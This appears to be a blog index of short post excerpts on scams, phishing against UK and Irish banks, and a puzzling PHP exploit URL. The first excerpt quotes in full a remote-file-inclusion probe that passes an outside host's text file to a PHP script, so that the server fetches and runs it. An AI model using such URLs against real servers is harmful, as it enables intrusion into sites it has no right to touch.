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PHP Exploit URL foxes Apache
There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: ‘Perishable Press‘. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers: http://www.microsoft.com/errors.php?error=http://abirdseyeviewof.com/files/image/id1.txt? Here’s the deal – when someone asks for a […]
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… From CPanel to …. what??
I am an old Unix dude, I have installed more different versions of Unix than most people – Everything from Sco Xenix/286 thru to Centos5.2 and I don’t usually have much problems – but as time wears on, my brainDisk is starting to squeal and it’s not as fast at random access as it used […]
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Eggs is eggs? – No, not really!
Came across this fascinating scam – selling battery-farmed eggs as ‘Free Range’. British consumers are eggstremely conscious about where their food comes from. (Way more so than Americans who like not to think of such yukky subjects). So – Big thumbs down to GMOs (Genetically Modified foods), and a rather hard stare (ala Paddington Bear) […]
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Contract Killer Scam
Experts at SophosLabsâ„¢, Sophos’s spam analysis centers, have warned of a spam email that pretends to come from a professional hitman, hired to kill the recipient, but are really interested in stealing money.The emails claim that the recipient has been stalked by a hired assassin for 10 days, but that the hitman is prepared to […]
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Irish Bank hit by ‘undetectable’ phishing scam
FRAUDSTERS are targeting Ireland’s biggest bank, AIB, in a virtually undetectable internet scam. The bank admits it does not know and cannot find out how many of its customers are affected by the fraud. If you have an account at AIB, click here for Important Information Cheats have found a way of overcoming security measures […]
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Great Scam Video
This is great! It’s a series on British Television that shows how to avoid getting scammed, conned, cheated, robbed by those out to take what’s yours. [youtube]http://www.youtube.com/watch?v=pgBHjZUKW54[/youtube]
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Merry Christmas to Barclays Customers … from the Scammer
Conmen have targeted Barclays customers over Christmas by trying to persuade them to hand over their account details.The emails carry the Barclays logo and ask customers to fill in confidential information. They even have a link to the bank’s online help page, complete with customer services numbers, and allow the user to return to Barclays’ […]
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Online banking fraud ‘up 8,000%’
The UK has seen an 8,000% increase in fake internet banking scams in the past two years, the government’s financial watchdog has warned. The Financial Services Authority (FSA) told peers it was “very concerned” about the growth in “phishing”. Phishing involves using fake websites to lure people into revealing their bank account numbers. The amount […]